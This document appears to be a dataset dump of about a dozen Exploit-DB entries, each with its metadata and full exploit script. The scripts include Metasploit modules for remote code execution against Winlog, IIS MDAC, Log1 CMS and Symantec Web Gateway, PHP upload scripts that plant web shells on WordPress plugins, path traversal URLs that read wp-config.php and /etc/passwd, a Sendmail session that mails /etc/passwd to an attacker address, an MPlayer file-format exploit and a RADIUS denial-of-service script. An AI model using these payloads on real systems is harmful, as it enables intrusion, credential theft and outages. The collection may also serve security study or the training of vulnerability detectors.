QLWD/code_shield huggingface dataset:
标题: Sielco Sistemi Winlog 2.07.14 - Remote Buffer Overflow (Metasploit) EDB-ID: 19025 CVE: 2012-3815 类型: REMOTE 平台: WINDOWS 发布日期: 2012-06-08 漏洞利用脚本: ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::Tcp
 include Msf::Exploit::Remote::Egghunter

 def initialize(info = {})
  super(update_info(info,
   'Name'         => 'Sielco Sistemi Winlog Buffer Overflow 2.07.14',
   'Description'  => %q{
    This module exploits a buffer overflow in Sielco Sistem Winlog <= 2.07.14.
    When sending a specially formatted packet to the Runtime.exe service on port 46824,
    an attacker may be able to execute arbitrary code.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'm-1-k-3 <m1k3[at]s3cur1ty.de>'
    ],
   'References'     =>
    [
     [ 'BID', '53811'],
     [ 'URL', 'http://www.s3cur1ty.de' ],
     [ 'URL', 'http://www.sielcosistemi.com/en/download/public/winlog_lite.html' ]
    ],
   'DefaultOptions' =>
    {
     'ExitFunction' => 'process',
    },
   'Platform'       => 'win',
   'Payload'        =>
    {
     'Space'    => 2000,
     'BadChars' => "\x00",
     'DisableNops' => true,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Sielco Sistemi Winlog 2.07.14 - Ceramics Kiln Project',
      {
       'Ret'    => 0x405153df,
       'Offset' => 167,
      }
     ], #  Jmp ESP - Vclx40.bpl - 0x405153df
     [ 'Sielco Sistemi Winlog 2.07.14 - Automatic Washing System Project',
      {
       'Ret'    => 0x405153df,
       'Offset' => 151,
      }
     ], #  Jmp ESP - Vclx40.bpl - 0x405153df
     #The reliability depends on the actual project. We need to generate some more
     #targets. Two of them for the default project and one other project is now available.
    ],
   'Privileged'     => false,
   'DisclosureDate' => 'Jun 04 2012',
   'DefaultTarget'  => 0))

  register_options([Opt::RPORT(46824)], self.class)
 end

 def exploit
  connect

  egghunter,egg = generate_egghunter(payload.encoded, payload_badchars)

  print_status("Placing the shellcode")
  shellcode = rand_text_alpha(2000)
  shellcode << egg
  sock.put(shellcode)

  select(nil,nil,nil,1)

  buffer = rand_text_alpha(20)
  buffer << "\x14" * 10  #trigger the crash
  buffer << rand_text_alpha(target['Offset'])
  buffer << [target.ret].pack('V')
  buffer << egghunter
  buffer << rand_text_alpha(69 - egghunter.length)

  print_status("Trying target #{target.name}...")
  sock.put(buffer)

  handler
  disconnect

 end
end URL: https://www.exploit-db.com/exploits/19025
标题: Berkeley Sendmail 5.58 - Debug EDB-ID: 19028 CVE: 1999-0095 类型: REMOTE 平台: LINUX 发布日期: 1988-08-01 漏洞利用脚本: 220 mail.victim.com SMTP
helo attacker.com
250 Hello attacker.com, pleased to meet you.
debug
200 OK
mail from: </dev/null>
250 OK
rcpt to:<|sed -e '1,/^$/'d | /bin/sh ; exit 0">
250 OK
data
354 Start mail input; end with <CRLF>.<CRLF>
mail evil@attacker.com </etc/passwd
.
250 OK
quit
221 mail.victim.com Terminating

The sed in the receipient strips all mail headers from the
message before passing it on to the shell. URL: https://www.exploit-db.com/exploits/19028
标题: Microsoft IIS - MDAC 'msadcs.dll' RDS DataStub Content-Type Overflow (MS02-065) (Metasploit) EDB-ID: 19026 CVE: 2002-1142 类型: REMOTE 平台: WINDOWS 发布日期: 2012-06-08 漏洞利用脚本: ##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::HttpClient

 def initialize
  super(
   'Name'        => 'Microsoft IIS MDAC msadcs.dll RDS DataStub Content-Type Overflow',
   'Description' => %q{
     This module can be used to execute arbitrary code on IIS servers
     that expose the /msadc/msadcs.dll Microsoft Data Access Components
     (MDAC) Remote Data Service (RDS) DataFactory service. The service is
     exploitable even when RDS is configured to deny remote connections
     (handsafe.reg). The service is vulnerable to a heap overflow where
     the RDS DataStub 'Content-Type' string is overly long. Microsoft Data
     Access Components (MDAC) 2.1 through 2.6 are known to be vulnerable.
   },
   'Author'      => 'patrick',
   'Version'     => '$Revision$',
   'Platform'    => 'win',
   'References'  =>
    [
     ['OSVDB', '14502'],
     ['BID', '6214'],
     ['CVE', '2002-1142'],
     ['MSB', 'ms02-065'],
     ['URL', 'http://archives.neohapsis.com/archives/vulnwatch/2002-q4/0082.html']
    ],
   'Privileged'     => false,
   'Payload'        =>
    {
     'Space'    => 1024,
     'BadChars' => "\x00\x09\x0a\x0b\x0d\x20:?<>=$\\/\"';=+%#&",
     'StackAdjustment' => -3500,
    },
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'seh', # stops IIS from crashing... hopefully
    },
   'Targets'     =>
    [
     # patrickw tested OK 20120607 w2kpro en sp0 msadcs.dll v2.50.4403.0
     [ 'Windows 2000 Pro English SP0', { 'Ret' => 0x75023783 } ], # jmp eax ws2help.dll
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Nov 20 2002'
  )

  register_options(
   [
    OptString.new('PATH', [ true,  "The path to msadcs.dll", '/msadc/msadcs.dll']),
   ], self.class)
 end

 def check
  res = send_request_raw({
    'uri'          =>  datastore['PATH'],
    'method'       => 'GET',
   })
  if (res and res.code == 200)
   print_status("Server responded with HTTP #{res.code} OK")
   if (res.body =~ /Content-Type: application\/x-varg/)
    print_good("#{datastore['PATH']} matches fingerprint application\/x-varg")
    Exploit::CheckCode::Detected
   end
  else
   Exploit::CheckCode::Safe
  end
 end

 def exploit
  sploit = rand_text_alphanumeric(136)
  sploit[24,2] = Rex::Arch::X86.jmp_short(117)
  sploit << [target['Ret']].pack('V')
  sploit << payload.encoded

  data  = 'Content-Type: ' + sploit

  res = send_request_raw({
   'uri'          => datastore['PATH'] + '/AdvancedDataFactory.Query',
   'headers' =>
    {
     'Content-Length' => data.length,
    },

   'method'       => 'POST',
   'data'         => data,
  })

  handler
 end

end URL: https://www.exploit-db.com/exploits/19026
标题: WordPress Plugin NewsLetter 1.5 - Remote File Disclosure EDB-ID: 19018 CVE: 2012-3588 类型: WEBAPPS 平台: PHP 发布日期: 2012-06-08 漏洞利用脚本: ##################################################
# Description : Wordpress Plugins - Plugin: Newsletter Remote File 
Disclosure Vulnerability
# Version : 1.5
# Link : http://wordpress.org/extend/plugins/plugin-newsletter/
# Plugins : http://downloads.wordpress.org/plugin/plugin-newsletter.zip
# Date : 31-05-2012
# Google Dork : inurl:/wp-content/plugins/plugin-newsletter/
# Author : Sammy FORGIT - sam at opensyscom dot fr - 
http://www.opensyscom.fr
##################################################


Exploit :

http://www.exemple.com/wordpress/wp-content/plugins/plugin-newsletter/preview.php?data=../../../../wp-config.php

Read source [CTRL-u]

http://www.exemple.com/wordpress/wp-content/plugins/plugin-newsletter/preview.php?data=../../../../../../../../etc/passwd

Read source [CTRL-u] URL: https://www.exploit-db.com/exploits/19018
标题: WordPress Plugin wpStoreCart 2.5.27-2.5.29 - Arbitrary File Upload EDB-ID: 19023 CVE: 2012-3576 类型: WEBAPPS 平台: PHP 发布日期: 2012-06-08 漏洞利用脚本: ##################################################
# Description : Wordpress Plugins - wpStoreCart Arbitrary File Upload 
Vulnerability
# Version : 2.5.27 - 2.5.29
# Link : http://wordpress.org/extend/plugins/wpstorecart/
# Plugins : http://downloads.wordpress.org/plugin/wpstorecart.2.5.29.zip
# Date : 03-06-2012
# Google Dork : inurl:/wp-content/plugins/wpstorecart/
# Author : Sammy FORGIT - sam at opensyscom dot fr - 
http://www.opensyscom.fr
##################################################


Exploit :

PostShell.php
<?php

$uploadfile="lo.php";
$ch = 
curl_init("http://www.exemple.com/wordpress/wp-content/plugins/wpstorecart/php/upload.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
         array('Filedata'=>"@$uploadfile"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";

?>

Shell Access :
http://www.exemple.com/wordpress/wp-content/uploads/wpstorecart/lo.php

lo.php
<?php
phpinfo();
?> URL: https://www.exploit-db.com/exploits/19023
标题: WordPress Plugin RBX Gallery 2.1 - Arbitrary File Upload EDB-ID: 19019 CVE: 2012-3575 类型: WEBAPPS 平台: PHP 发布日期: 2012-06-08 漏洞利用脚本: ##################################################
# Description : Wordpress Plugins - RBX Gallery Multiple Arbitrary File 
Upload Vulnerability
# Version : 2.1
# Link : http://wordpress.org/extend/plugins/rbxgallery/
# Plugins : http://downloads.wordpress.org/plugin/rbxgallery.2.1.zip
# Date : 03-06-2012
# Google Dork : inurl:/wp-content/plugins/rbxgallery/
# Author : Sammy FORGIT - sam at opensyscom dot fr - 
http://www.opensyscom.fr
##################################################


Exploit :

PostShell.php
<?php

$uploadfile="lo.php";
$uploadfile2="db.php";
$ch = 
curl_init("http://www.exemple.com/wordpress/wp-content/plugins/rbxgallery/uploader.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
         array('images[0]'=>"@$uploadfile",
                'images[1]'=>"@$uploadfile2",
                'Submit'=>'submit'));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";

?>

Shell Access :
http://www.exemple.com/wordpress/wp-content/uploads/rbxslider/lo.php
http://www.exemple.com/wordpress/wp-content/uploads/rbxslider/db.php

lo.php
<?php
phpinfo();
?> URL: https://www.exploit-db.com/exploits/19019
标题: WordPress Plugin MM Forms Community 2.2.6 - Arbitrary File Upload EDB-ID: 18997 CVE: 2012-3574 类型: WEBAPPS 平台: PHP 发布日期: 2012-06-06 漏洞利用脚本: ##################################################
# Description : Wordpress Plugins - MM Forms Community Arbitrary File 
Upload Vulnerability
# Version : 2.2.5 - 2.2.6
# Link : http://wordpress.org/extend/plugins/mm-forms-community/
# Plugins : http://downloads.wordpress.org/plugin/mm-forms-community.zip
# Date : 24-05-2012
# Google Dork : inurl:/wp-content/plugins/mm-forms-community/
# Author : Sammy FORGIT - sam at opensyscom dot fr - 
http://www.opensyscom.fr
##################################################


Exploit :

PostShell.php
<?php

$uploadfile="lo.php";
$ch = 
curl_init("http://www.exemple.com/wordpress/wp-content/plugins/mm-forms-community/includes/doajaxfileupload.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
         array('fileToUpload'=>"@$uploadfile"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";

?>

Shell Access : 
http://www.exemple.com/wordpress/wp-content/plugins/mm-forms-community/upload/temp/
Filename : $postResult output

lo.php
<?php
phpinfo();
?> URL: https://www.exploit-db.com/exploits/18997
标题: WordPress Plugin Font Uploader 1.2.4 - Arbitrary File Upload EDB-ID: 18994 CVE: 2012-3814 类型: WEBAPPS 平台: PHP 发布日期: 2012-06-06 漏洞利用脚本: ##################################################
# Description : Wordpress Plugins - WordPress Font Uploader Shell Upload
Vulnerability
# Version : 1.2.4
# Link : http://wordpress.org/extend/plugins/font-uploader/
# Plugins : http://downloads.wordpress.org/plugin/font-uploader.1.2.4.zip
# Date : 01-06-2012
# Google Dork : inurl:/wp-content/plugins/font-uploader/
# Author : Sammy FORGIT - sam at opensyscom dot fr -
http://www.opensyscom.fr
##################################################


Exploit :

PostShell.php
<?php

$uploadfile="lo.php.ttf";
$ch =
curl_init("http://server/wordpress/wp-content/plugins/font-uploader/font-upload.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
array('font'=>"@$uploadfile",
'Submit'=>'submit'));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";

?>

Shell Access :
http://www.exemple.com/wordpress/wp-content/plugins/font-uploader/fonts/lo.php.ttf

lo.php.ttf
<?php
phpinfo();
?> URL: https://www.exploit-db.com/exploits/18994
标题: Log1 CMS - 'writeInfo()' PHP Code Injection (Metasploit) EDB-ID: 18975 CVE: 2011-4825 类型: WEBAPPS 平台: PHP 发布日期: 2012-06-03 漏洞利用脚本: ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HttpClient

 def initialize(info={})
  super(update_info(info,
   'Name'           => "Log1 CMS writeInfo() PHP Code Injection",
   'Description'    => %q{
     This module exploits the "Ajax File and Image Manager" component that can be
    found in log1 CMS.  In function.base.php of this component, the 'data' parameter
    in writeInfo() allows any malicious user to have direct control of writing data
    to file data.php, which results in arbitrary remote code execution.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'EgiX',     #Found the bug in ajax_create_folder.php
     'Adel SBM', #Found log1 CMS using the vulnerable ajax_create_folder.php
     'sinn3r'    #Metasploit
    ],
   'References'     =>
    [
     ['CVE', '2011-4825'],
     ['OSVDB', '76928'],
     ['EDB', '18075'],  #Egix's advisory
     ['EDB', '18151']   #Adel's
    ],
   'Payload'        =>
    {
     'BadChars' => "\x00"
    },
   'DefaultOptions'  =>
    {
     'ExitFunction' => "none"
    },
   'Platform'       => 'php',
   'Arch'           => ARCH_PHP,
   'Targets'        =>
    [
     ['log1 CMS 2.0', {}],
    ],
   'Privileged'     => false,
   'DisclosureDate' => "Apr 11 2011",
   'DefaultTarget'  => 0))

  register_options(
   [
    OptString.new('TARGETURI', [true, 'The base path to log1 CMS', '/log1cms2.0/'])
   ], self.class)
 end


 def check
  uri = target_uri.path
  uri << '/' if uri[-1, 1] != '/'

  res = send_request_raw({
   'method' => 'GET',
   'uri'    => "#{uri}admin/libraries/ajaxfilemanager/ajax_create_folder.php"
  })

  if res and res.code == 200
   return Exploit::CheckCode::Detected
  else
   return Exploit::CheckCode::Safe
  end
 end


 def exploit
  uri = target_uri.path
  uri << '/' if uri[-1, 1] != '/'

  peer = "#{rhost}:#{rport}"
  php = %Q|#{rand_text_alpha(10)}=<?php #{payload.encoded} ?>|

  print_status("#{peer} - Sending PHP payload (#{php.length.to_s} bytes)")
  send_request_cgi({
   'method' => 'POST',
   'uri'    => "#{uri}admin/libraries/ajaxfilemanager/ajax_create_folder.php",
   'data'   => php
  })

  print_status("#{peer} - Requesting data.php")
  send_request_raw({
   'method' => 'GET',
   'uri'    => "#{uri}admin/libraries/ajaxfilemanager/inc/data.php"
  })

  handler
 end
end URL: https://www.exploit-db.com/exploits/18975
标题: WinRadius Server 2009 - Denial of Service EDB-ID: 18945 CVE: 2012-3816 类型: DOS 平台: WINDOWS 发布日期: 2012-05-29 漏洞利用脚本: Title: WinRadius Server Denial Of Service Vulnerability
Software : WinRadius

Software Version : v2009

Vendor: http://www.elite-school.com/saas/WinRadius/

Vulnerability Published : 2012-05-27

Vulnerability Update Time :

Status : 

Impact : Medium(CVSS2 Base : 5.0, AV:N/AC:L/Au:N/C:N/I:N/A:P)

Bug Description :
WinRadius is a standard RADIUS server for network authentication, accounting. It's easy to use, and can be used for telecommunication accounting platform, PPP authentication, accounting server. It support PPP, PPPoE, PPTP, VPN, VoIP, ADSL, Cable Modem, CDMA, GSM, GPRS, WLAN(802.1x), etc.
WinRadius server would bind udp port 1812 and 1813, but it does not validate the password option size leading to a Denial Of Service flaw while sending more than 240 characters to it.

Proof Of Concept :
-----------------------------------------------------------
#!/usr/bin/perl
use Authen::Simple::RADIUS;
$|=1;
$host=shift || die "usage: $0 host\n";
print "Launch Attack ... \n";
$username=int(rand(10)).int(rand(10)).int(rand(10));
$password='A'x241;
$secret=int(rand(10)).int(rand(10)).int(rand(10));
$radius = Authen::Simple::RADIUS->new(
   host   => $host,
   secret => $secret
);
$radius->authenticate( $username, $password );
print "Finish!\n";
exit(1);
-----------------------------------------------------------

Credits : This vulnerability was discovered by demonalex(at)163(dot)com
mail: demonalex(at)163(dot)com / ChaoYi.Huang@connect.polyu.hk
Pentester/Researcher
Dark2S Security Team/PolyU.HK URL: https://www.exploit-db.com/exploits/18945
标题: MPlayer - '.SAMI' Subtitle File Buffer Overflow (Metasploit) EDB-ID: 18954 CVE: 2011-3625 类型: LOCAL 平台: WINDOWS 发布日期: 2012-05-30 漏洞利用脚本: ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::FILEFORMAT

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'MPlayer SAMI Subtitle File Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack-based buffer overflow found in the handling
    of SAMI subtitles files in MPlayer SVN Versions before 33471. It currently
    targets SMPlayer 0.6.8, which is distributed with a vulnerable version of mplayer.

    The overflow is triggered when an unsuspecting victim opens a movie file first,
    followed by loading the malicious SAMI subtitles file from the GUI. Or, it can also
    be done from the console with the mplayer "-sub" option.
   },
   'License'        => MSF_LICENSE,
   'Author'         => [
    'Jacques Louw', # Vulnerability Discovery and PoC
    'juan vazquez' # Metasploit module
   ],
   'Version'        => '$Revision: $',
   'References'     =>
    [
     [ 'BID', '49149' ],
     [ 'OSVDB', '74604' ],
     [ 'URL', 'http://labs.mwrinfosecurity.com/files/Advisories/mwri_mplayer-sami-subtitles_2011-08-12.pdf' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
     'DisablePayloadHandler' => 'true',
    },
   'Payload'        =>
    {
     'Space'    => 4000,
     'BadChars' => "\x00\x0a\x0d\x09\x3c\x3e\x5c\x22\x7b\x7d",
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'SMPlayer 0.6.8 / mplayer.exe Sherpya-SVN-r29355-4.5.0 / Windows XP English SP3',
      {
       'Offset' => 1033,
       'Ret' => 0x016c14df, # jmp esp from mplayer.exe .rsrc
       'WritableAddress' => 0x013ab3ae # from mplayer.exe .bss
      }
     ],
    ],
   'Privileged'     => false,
   'DisclosureDate' => 'May 19 2011',
   'DefaultTarget'  => 0))

  register_options(
   [
    OptString.new('FILENAME',   [ false, 'The file name.', 'msf.smi']),
   ], self.class)
 end

 # Split the subtitle to avoid mplayer complaining
 # about the line max length
 def sami_encode(s)
  r = ""
  i = 0
  while i < s.length
   r << s[i, 32]
   r << "\n"
   i += 32
  end
  r
 end

 def exploit

  sploit = rand_text(target['Offset'])
  sploit << [target.ret].pack("V")
  sploit << "\xeb\x06" # jmp short 0x8
  sploit << rand_text(2)
  sploit << [target['WritableAddress']].pack("V")
  sploit << payload.encoded

  sami = "<SAMI>\n"
  sami << "<BODY>\n"
  sami << "<SYNC Start=100550>\n"
  sami << sami_encode(sploit)
  sami << "</SYNC>\n"
  sami << "</BODY>\n"
  sami << "</SAMI>\n"

  print_status("Creating '#{datastore['FILENAME']}' file ...")

  file_create(sami)
 end

end URL: https://www.exploit-db.com/exploits/18954
标题: Symantec Web Gateway 5.0.2.8 - Command Execution (Metasploit) EDB-ID: 18942 CVE: 2012-0297 类型: REMOTE 平台: LINUX 发布日期: 2012-05-28 漏洞利用脚本: ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HttpClient

 def initialize(info={})
  super(update_info(info,
   'Name'           => "Symantec Web Gateway 5.0.2.8 Command Execution Vulnerability",
   'Description'    => %q{
     This module exploits a vulnerability found in Symantec Web Gateway's HTTP
    service.  By injecting PHP code in the access log, it is possible to load it
    with a directory traversal flaw, which allows remote code execution under the
    context of 'apache'. Please note that it may take up to several minutes to
    retrieve access_log, which is about the amount of time required to see a shell
    back.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'Unknown', #Discovery
     'muts',    #PoC
     'sinn3r'   #Metasploit
    ],
   'References'     =>
    [
     ['CVE', '2012-0297'],
     ['EDB', '18932'],
     ['URL', 'http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2012&suid=20120517_00']
    ],
   'Payload'        =>
    {
     'BadChars' => "\x00"
    },
   'DefaultOptions'  =>
    {
     'WfsDelay' => 300,  #5 minutes
     'DisablePayloadHandler' => 'false',
     'ExitFunction' => "none"
    },
   'Platform'       => ['php'],
   'Arch'           => ARCH_PHP,
   'Targets'        =>
    [
     ['Symantec Web Gateway 5.0.2.8', {}],
    ],
   'Privileged'     => false,
   'DisclosureDate' => "May 17 2012",
   'DefaultTarget'  => 0))
 end


 def check
  res = send_request_raw({
   'method' => 'GET',
   'uri'    => '/spywall/login.php'
  })

  if res and res.body =~ /\<title\>Symantec Web Gateway\<\/title\>/
   return Exploit::CheckCode::Detected
  else
   return Exploit::CheckCode::Safe
  end
 end


 def exploit
  peer = "#{rhost}:#{rport}"

  php = %Q|<?php #{payload.encoded} ?>|

  # Inject PHP to log
  print_status("#{peer} - Injecting PHP to log...")
  res = send_request_raw({
   'method' => 'GET',
   'uri'    => "/#{php}"
  })

  select(nil, nil, nil, 1)

  # Use the directory traversal to load the PHP code
  # access_log takes a long time to retrieve
  print_status("#{peer} - Loading PHP code..")
  send_request_raw({
   'method' => 'GET',
   'uri'    => '/spywall/releasenotes.php?relfile=../../../../../usr/local/apache2/logs/access_log'
  })

  print_status("#{peer} - Waiting for a session, may take some time...")

  select(nil, nil, nil, 1)

  handler
 end
end URL: https://www.exploit-db.com/exploits/18942
标题: Wireshark - Multiple Dissector Denial of Service Vulnerabilities EDB-ID: 18919 CVE: 2012-3826 2012-3825 2012-2392 类型: DOS 平台: MULTIPLE 发布日期: 2012-05-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/53651/info

Wireshark is prone to multiple denial-of-service vulnerabilities. 

An attacker can exploit these issues to crash the affected application, denying service to legitimate users. 

Wireshark versions 1.6.0 through 1.6.7 and versions 1.4.0 through 1.4.12 are vulnerable.

PoC:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/18919-1.pcap
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/18919-2.pcap
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/18919-3.pcap
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/18919-4.pcap
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/18919-5.pcap
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/18919-6.pcap
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/18919-7.pcap
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/18919-8.pcap URL: https://www.exploit-db.com/exploits/18919